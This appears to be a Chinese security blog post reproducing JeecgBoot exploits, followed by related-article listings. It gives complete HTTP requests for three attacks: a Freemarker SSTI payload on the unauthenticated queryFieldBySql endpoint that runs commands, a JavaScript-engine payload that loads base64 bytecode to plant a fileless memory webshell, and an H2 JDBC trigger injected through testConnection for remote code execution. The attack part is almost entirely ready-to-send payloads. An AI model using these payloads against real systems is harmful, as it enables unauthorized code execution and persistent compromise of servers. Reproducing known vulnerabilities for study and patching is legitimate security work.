[漏洞复现]JeecgBoot queryFieldBySql注入内存马利用及JDBC RCE复现

[漏洞剖析]JeecgBoot queryFieldBySql注入与JDBC连接内存马植入实战 本文深入剖析了JeecgBoot框架中`queryFieldBySql`接口存在的严重安全漏洞。该漏洞不仅允许攻击者进行SQL注入,更可利用Freemarker SSTI执行任意代码,进而植入无文件内存马,实现持久化控制。文章详细演示了从漏洞发现、利用SSTI执行命令、到动态加载字节码植入内存马,并利用JDBC数据源配置实现持久化驻留的完整攻击链,最后从防御角度提出了代码加固、运行时监控等安全建议。 阅读详情

如果觉得改博主的文章对您有帮助的话,麻烦可以移步同名公众号:良月安全。点一个关注,感谢各位师傅支持。

想了解漏洞的具体分析可以去c0olw师傅的博客,这里引个路:JeecgBoot SSTI以及JDBC RCE 复现 | 凉风’s Blog (c0olw.github.io)

queryFieldBySql内存马5

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 123

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"open -a calculator.app  \") }' "}

注入内存马,这里利用pen4uin师傅的内存马工具pen4uin/java-memshell-generator: 一款支持高度自定义的 Java 内存马生成工具|A highly customizable Java memory-shell generation tool. (github.com)

使用内存马工具生成payload,将生成的base64格式的内存马 替换payload 中bytecodeBase64的值

{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='这里填入base64的内存马';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}

在这里插入图片描述
内存马路径为:http://ip:port/jeecg-boot/jmreport/queryFieldBySql/
在这里插入图片描述

JDBC RCE

POST /jeecgboot/jmreport/testConnection HTTP/1.1
Host: ip:port
Content-Length: 383
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
  "id": "1",
  "code": "dataSource1",
  "dbType": "H2",
  "dbDriver": "org.h2.Driver",
  "dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('open -a calculator.app')\u000A$$",
  "dbName": "test",
  "dbUsername": "sa",
  "dbPassword": "",
  "connectTimes": 5
}

在这里插入图片描述

[漏洞剖析]JeecgBoot queryFieldBySql注入与JDBC连接滥用:从内存马植入到RCE的完整攻击链 本文深度剖析了JeecgBoot框架中queryFieldBySql接口的SQL注入漏洞及其引发的完整攻击链。攻击者利用该漏洞,通过Freemarker SSTI植入隐蔽的内存马,并进一步滥用JDBC连接测试功能,借助H2数据库特性实现远程命令执行(RCE),揭示了低代码平台中功能滥用与安全配置疏忽带来的严重风险。 阅读详情

相关推荐

JeecgBoot SQL注入到内存马:一条JDBC连接如何演变成RCE攻击链

在Java Web应用的安全体系中,SQL注入是历史最悠久的基础风险之一,而内存马则是近年来攻防实战中的高频技术。两者的结合,往往源于数据库连接配置与应用权限管理的疏漏。当低代码平台将原生SQL查询暴露为接口,并配合高权限数据库账号与未被约束的JDBC连接属性时,攻击者可以从一条普通查询出发,经过堆叠注入、文件读写、UDF提权等路径,最终在Spring容器中植入无文件内存马,实现稳定命令执行。理解这条链路的价值在于:安全加固不能只停留在过滤参数或封禁IP,而应当从代码层、JDBC层、运行时检测与运维边界四个

weixin_32736961的博客 210

jeect-boot queryFieldBySql接口RCE漏洞(CVE-2023-4450)复现

jeect-boot queryFieldBySql接口RCE漏洞(CVE-2023-4450)复现

fly夏天的博客 1万+

Jeecg-Boot积木报表queryFieldBySql RCE漏洞深度解析

动态SQL执行是企业级低代码平台中常见的功能设计,其本质依赖于对用户输入SQL语句的语义信任与执行上下文隔离。当框架未对JDBC多语句执行(如allowMultiQueries)、数据库函数副作用(如SLEEP)及上层表达式引擎(如EL解析)进行协同管控时,原本仅用于字段元数据查询的功能便可能演变为远程代码执行通道。该漏洞典型体现为Spring JDBC模板与数据库驱动行为的耦合风险,叠加Jeecg-Boot自研表达式解析机制,形成跨数据库层、JVM层的多阶段利用链。适用于Java安全开发、低代码平台运维及

weixin_30565199的博客 313

Jeecg-Boot /jeecg-boot/jmreport/qurestSql接口sql注入漏洞复现

JeecgBoot 前台接口SQL注入漏洞

weixin_45908624的博客 4470

[技术分享]记一次JeecgBoot实战分享

[技术分享]记一次JeecgBoot实战分享

LiangYueSec的博客 2390

JeecgBoot jmreport/queryFieldBySql RCE漏洞复现

Jeecg Boot jmreport/queryFieldBySql接口存在代码执行漏洞,攻击者可以通过操纵应用程序的模板引擎来执行恶意代码或获取敏感信息。这种漏洞可能会导致整个应用程序被入侵,造成严重的安全问题。

0xSec 3977

JeecgBoot queryFieldBySql SQL注入到内存马植入的完整攻击链分析与修复

SQL注入是Web安全领域最常见的漏洞类型之一,其根本原因在于用户输入被直接拼接进SQL语句而缺乏有效过滤。JDBC作为Java连接数据库的标准接口,在特定参数配置下可能被恶意滥用,成为攻击者从数据库权限提升至远程代码执行的关键跳板。实际攻击场景中,低代码平台普遍提供的动态查询接口往往成为重灾区,攻击者通过构造恶意SQL获取敏感数据,再借助JDBC连接属性、数据库扩展功能或恶意驱动触发反序列化,最终向Spring容器注入内存马,实现无文件持久化控制。以JeecgBoot的queryFieldBySql接口为

weixin_28716443的博客 174

jeecg-boot queryFieldBySql接口基于SSTI的任意代码执行漏洞复现 [附POC]

JeecgBoot 受影响版本中由于积木报表 /jeecg-boot/jmreport/queryFieldBySql Api接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,通过 SSTI 在应用端执行任意代码。

薛定谔嘚喵博客 1068

JeecgBoot SQL注入到RCE:低代码平台攻击链与防御实战

SQL注入是Web安全领域最常见的攻击向量之一,其核心原理在于外部可控输入被直接拼接到SQL语句中,导致原始查询语义被篡改。深入理解注入原理并建立防护机制,不仅是开发者的基本素养,更是企业安全体系的关键一环。随着低代码平台的普及,这类风险被进一步放大——平台通过动态拼接查询配置来提升开发效率,却也暴露了更大的攻击面。JeecgBoot作为典型低代码平台,其queryFieldBySql接口就存在此类隐患,结合JDBC多语句执行与内存马注入,可形成完整SQL注入到RCE攻击链。从防御视角拆解攻击路径,给出参数

weixin_34072296的博客 277

JeecgBoot JimuReport testConnection RCE漏洞复现

JeecgBoot 的 jeecg-boot/jmreport/testConnection 未进行身份验证,并且未对 dbUrl 参数进行限制,当应用端存在H2数据库驱动依赖时,攻击者发送包含恶意 dbUrl 参数的 http 请求远程执行任意代码。

0xSec 3622

CVE-2023-1454:Jeecg-Boot SQL注入漏洞复现

JeecgBoot 受影响版本中由于积木报表 /jeecg-boot/jmreport/queryFieldBySql Api 接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,通过 SSTI 在应用端执行任意代码。

薛定谔嘚喵博客 2072

【漏洞复现】JeecgBoot 积木报表 queryFieldBySql sql注入漏洞

JeecgBoot 积木报表 queryFieldBySq| 接口存在一个 SQL 注入漏洞,通过这个漏洞可以操纵服务器的数据库。这意味着不法分子可以利用这个漏洞来获取对数据库的完全控制权,从而查看、修改甚至删除数据库中的数据,严重威胁系统的安全性。积木报表,是一款免费的企业级Web报表工具,像搭建积木一样在线设计报表!功能涵盖,数据报表、打印设计、图表报表、大屏设计等!title="Jeecg-Boot 快速开发平台" || body="积木报表"2、通过防火墙等安全设备设置访问策略,设置白名单访问。

qq_48368964的博客 3477

Jeecg-Boot 存在前台SQL注入漏洞【CVE-2023-1454】

eecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发!JeecgBoot引领新低代码开发模式 OnlineCoding-> 代码生成器-> 手工MERGE, 帮助Java项目解决70%的重复工作,让开发更多关注业务,既能快速提高效率,节省研发成本,同时又不失灵活性!

holyxp的博客 5955

【春秋云境】CVE-2023-4450 jeect-boot queryFieldBySql接口RCE漏洞

JeecgBoot 是一个开源的低代码开发平台,Jimureport 是低代码报表组件之一。当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在,由于未授权的 API使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。

HMX404的博客 2333

单节锂电池充电管理芯片应用原理阐述及应用领域

当电池电压超过2.9V时,采用恒流模式对电池充电,充电电流由PROG 管脚和GND之间的电阻RPROG确定。充电电压固定于4.2V,而充电电流可通过一个电阻器进行外部设置当充电电流在达到最终浮充电压之后降至设定值1/10时,WD4054将自动终止充电循环。在待机模式中,WD4054 对 BAT 引脚电压进行监控,只有当 BAT 引脚电压低于再充电阈值电压4.1V时(对应电池容量80%~90%),才会开始新的充电循环,重新对电池进行充电,这就避免了对电池进行不必要的反复充电,有效延长电池的使用寿命。

weixin_41141180的博客 945

从零到一:在Ubuntu 20.04上搭建ROS1与PX4无人机开发环境

本文详细指导如何在Ubuntu 20.04系统上搭建完整的ROS1与PX4无人机开发环境。内容涵盖ROS Noetic安装、PX4固件源码编译、MAVROS通信桥接以及QGroundControl地面站的配置,并通过Gazebo仿真完成全链路联调测试,为无人机算法开发与验证提供稳定可靠的基础平台。

weixin_29292431的博客 167

漏洞复现--JeecgBoot testConnection 远程代码执行

JeecgBoot 是一款基于代码生成器的低代码开发平台,该产品存在testConnection 远程命令执行漏洞。JeecgBoot积木报表。

qq_53003652的博客 7531

ptrade从零开始学习量化交易第166期【ptrade量化策略研究参考--三个因子挖掘思路】

三个因子挖掘思路

GJ57017_wx的博客 1248

Jeecg-boot JDBC任意代码执行漏洞

JeecgBoot是一款开源的企业级低代码平台,提供了表单、视图、流程等一键生成代码功能,目前在GitHub具有 35.5k star。

murphysec的博客 2774

UE游戏引擎材质简单入门

什么是物体的材质,材质属性定义了物体的某些特性,从而决定了物体表面是如何与光线相作用的。UE中物理基础渲染(Physically Based Rendering OR PBR)几乎可以让我们模拟显示世界中的任何材质。那么如何在UE中制作出真实的PBR材质,基于我们提供的游戏引擎插件,如何将这些材质资源导出,并应用到 SuperMap iClient3D for Cesium/WebGL 平台上,提升模型的显示效果呢,下面小编将详细讲解一下。

m0_71055362的博客 2511

Windows环境下Ollama的本地部署方案

本文主要介绍了Windows环境下Ollama的本地部署方案,希望对使用大语言模型的同学们有所帮助。 文章目录 1. 前言 2. Windows环境安装 3. API调用示例代码

herosunly的博客 11万+

CVE-2023-1454注入分析复现

JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。

蚁景网安学院 2483

40.8K星爆火!Crawl4AI实战突破Cloudflare 5秒盾:AI反爬新范式,爬虫再也不被封

Crawl4AI的爆火(40.8K星)不是偶然——它解决了爬虫工程师最头疼的反爬问题,让爬虫从“体力活”变成“脑力活”,不用再花费大量时间配置指纹、编写行为脚本。但要注意:爬虫必须遵守目标网站的robots.txt协议,不得用于非法爬取数据(比如用户隐私、商业机密)。合理使用技术,才能长久落地。如果你在使用Crawl4AI时遇到具体问题(比如绕过更严格的反爬、批量爬取配置),欢迎在评论区交流,我会第一时间分享解决方案!

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1603

Jeecg-Boot 未授权SSTI注入

JDK: 1.8+ (小于11)

qq_27536045的博客 1242

汽车安全新防线|基于AI的入侵检测系统开发(全网独家复现),CNN-BiLSTM融合改进篇 强化CAN总线数据感知、助力多类型入侵检测、实时响应预警、车载场景有效落地

基于AI的入侵检测系统是汽车网络安全领域的重要技术突破,能够有效应对日益复杂的网络攻击威胁。随着AI技术的不断发展和普及,AI入侵检测系统将在汽车安全领域发挥越来越重要的作用。对于汽车制造商和供应商来说,实施AI入侵检测系统不仅是保障车辆安全的需要,也是提升市场竞争力的重要手段。未来,AI入侵检测系统将成为智能汽车的标准配置,为用户提供更加安全、可靠的驾驶体验。

getusushu的博客 86

智能车图像处理1-基础图像规格

从厂家摄像头的库函数中,我们可以直接得到完整图像的灰度数组,经过二值化之后(算力允许,可以考虑大津法),就是我们要处理的0-1二值图像了。本系列所有的文章中,我们的图像规格如下。

taiyuezyh的博客 4336
上一篇: [未公开0day]大*智能物联综合管理平台(ICC)存在管理员密码重置漏洞
下一篇: [漏洞复现]Geoserver表达式注入致远程代码执行漏洞(CVE-2024-36401)
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值